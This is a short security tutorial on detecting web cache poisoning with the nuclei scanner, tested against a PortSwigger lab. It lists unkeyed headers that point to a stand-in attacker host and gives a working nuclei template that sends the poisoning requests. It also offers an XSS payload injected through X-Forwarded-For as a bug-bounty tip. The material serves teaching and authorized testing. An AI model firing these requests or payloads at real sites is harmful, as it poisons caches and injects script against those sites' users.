Cache Poisoning using Nuclei

@sirpedrotavares seguranca-informatica.pt 0xSI_f33d

Search…

Discovering cache poisoning vulnerabilities using nuclei.

HTTP Headers
In this lab, we are going to use nuclei tool for discovering cache poisoning vulnerabilities on web applications.
To do this, we need to use common unkeyed inputs headers such as:
1
X-Forwarded-Prefix: cache.my_evil_dns.com
2
X-Forwarded-Host: cache.my_evil_dns.com
3
X-Forwarded-For: cache.my_evil_dns.com
4
X-Originating-IP: cache.my_evil_dns.com
5
X-Remote-IP: cache.my_evil_dns.com
6
X-Remote-Addr: cache.my_evil_dns.com
7
X-Client-IP: cache.my_evil_dns.com
Copied!
In detail, to trigger cache poisoning vulnerabilities we need two requests:
The first that causes the server to cache the poisoned response
The second will retrieve the poisoned response from the server-side.
Building the Nuclei template
To carry out this scenario, we can build our nuclei template as presented below.
1
id: cache-poisoning    
2
​
3
info:
4
  name: HTTP Cache Poisoning
5
  author: sirpedrotavares / seguranca-informatica.pt
6
  severity: medium
7
​
8
requests:
9
  - raw:
10
      - |
11
        GET /?evil=007 HTTP/1.1
12
        X-Forwarded-Prefix: cache.my.evil.dns.com
13
        X-Forwarded-Host: cache.my.evil.dns.com
14
        X-Forwarded-For: cache.my.evil.dns.com
15
        X-Originating-IP: cache.my.evil.dns.com
16
        X-Remote-IP: cache.my.evil.dns.com
17
        X-Remote-Addr: cache.my.evil.dns.com
18
        X-Client-IP: cache.my.evil.dns.com
19
​
20
      - |
21
        GET /?evil=007 HTTP/1.1
22
​
23
    req-condition: true
24
    matchers:
25
      - type: dsl
26
        dsl:
27
          - 'contains(body_2, "cache.my.evil.dns.com") == true'
Copied!
We can test this template using the PortSwigger Lab here.
1
.\nuclei.exe -u target_url -t .\nuclei-templates-master\sirpedrotavares\cache-poisoning.yaml
Copied!
And yeah, we got it 😎
 
Bug Bounty tip
You can use this strategy to find vulnerabilities like these in bug bounty programs. To start, you can use bbscope tool to get your scope from your public and private programs (HackerOne, Bugcrowd, and Intigriti).
1
X-Forwarded-For: cache.my_evil_dns.com"></script><script>alert(document.domain);</script>
Copied!
References
Automate Cache Poisoning Vulnerability - Nuclei
Mohamed Elbadry | Blog
Poisoning your Cache for 1000$ - Approach to Exploitation Walkthrough
Gal Nagli
​

Format String Exploitation

Initial Foothold

Last modified 5mo ago

Copy link

Contents

HTTP Headers

Building the Nuclei template

Bug Bounty tip

References